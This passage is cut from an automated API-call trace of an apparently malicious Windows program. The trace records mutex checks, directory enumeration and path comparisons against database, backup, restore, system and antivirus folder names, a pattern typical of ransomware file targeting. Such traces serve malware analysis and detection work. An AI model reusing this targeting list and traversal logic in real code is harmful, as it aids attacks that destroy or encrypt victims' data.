(hMem=0x44000c) returned 0x555b78 [0055.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.270] GlobalUnlock (hMem=0x440004) returned 0 [0055.270] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.270] GlobalUnlock (hMem=0x44000c) returned 0 [0055.270] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.271] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0055.271] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.271] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.271] GlobalUnlock (hMem=0x44000c) returned 0 [0055.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.271] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.271] GlobalUnlock (hMem=0x44000c) returned 0 [0055.271] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.271] GlobalUnlock (hMem=0x440004) returned 0 [0055.271] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.271] GlobalLock (hMem=0x440004) returned 0x550170 [0055.271] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.271] GlobalUnlock (hMem=0x440004) returned 0 [0055.271] GlobalLock (hMem=0x440004) returned 0x550170 [0055.271] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.271] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.271] GlobalUnlock (hMem=0x440004) returned 0 [0055.271] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.271] GlobalUnlock (hMem=0x44000c) returned 0 [0055.271] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.271] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7", len=0x37 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7") returned 1 [0055.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.271] GlobalUnlock (hMem=0x44000c) returned 0 [0055.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.271] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.271] GlobalUnlock (hMem=0x44000c) returned 0 [0055.272] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.272] GlobalUnlock (hMem=0x440004) returned 0 [0055.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.272] GetLastError () returned 0x3 [0055.272] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18㿬Q\x181")) returned 0xffffffff [0055.272] GetLastError () returned 0x2 [0055.272] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꜤR企@\x18?T\x18;")) returned 0xffffffff [0055.272] GetLastError () returned 0x2 [0055.272] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0055.273] GetLastError () returned 0x2 [0055.273] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꜤR企@\x18Q\x18j")) returned 0xffffffff [0055.273] GetLastError () returned 0x2 [0055.273] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18q")) returned 0xffffffff [0055.274] GetLastError () returned 0x2 [0055.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0055.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0055.274] GetLastError () returned 0x2 [0055.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18\x81")) returned 0xffffffff [0055.274] GetLastError () returned 0x2 [0055.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0055.274] GetLastError () returned 0x2 [0055.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꍴR企@\x18?T\x18\x8f")) returned 0xffffffff [0055.275] GetLastError () returned 0x2 [0055.275] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0055.275] GetLastError () returned 0x2 [0055.275] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.275] GlobalLock (hMem=0x440004) returned 0x550170 [0055.275] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.275] GlobalUnlock (hMem=0x440004) returned 0 [0055.275] GlobalLock (hMem=0x440004) returned 0x550170 [0055.275] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.275] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.275] GlobalUnlock (hMem=0x440004) returned 0 [0055.275] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.275] GlobalUnlock (hMem=0x44000c) returned 0 [0055.275] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.275] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.275] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.276] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.276] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.276] GlobalUnlock (hMem=0x44000c) returned 0 [0055.276] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.276] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.276] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.276] GlobalUnlock (hMem=0x44000c) returned 0 [0055.276] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.276] GlobalUnlock (hMem=0x440004) returned 0 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0055.276] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0055.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0055.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.277] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\") returned 0x38 [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0055.277] GlobalLock (hMem=0x440004) returned 0x550170 [0055.277] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.277] GlobalUnlock (hMem=0x440004) returned 0 [0055.277] GlobalLock (hMem=0x440004) returned 0x550170 [0055.277] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.277] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.277] GlobalUnlock (hMem=0x440004) returned 0 [0055.277] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.277] GlobalUnlock (hMem=0x44000c) returned 0 [0055.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, 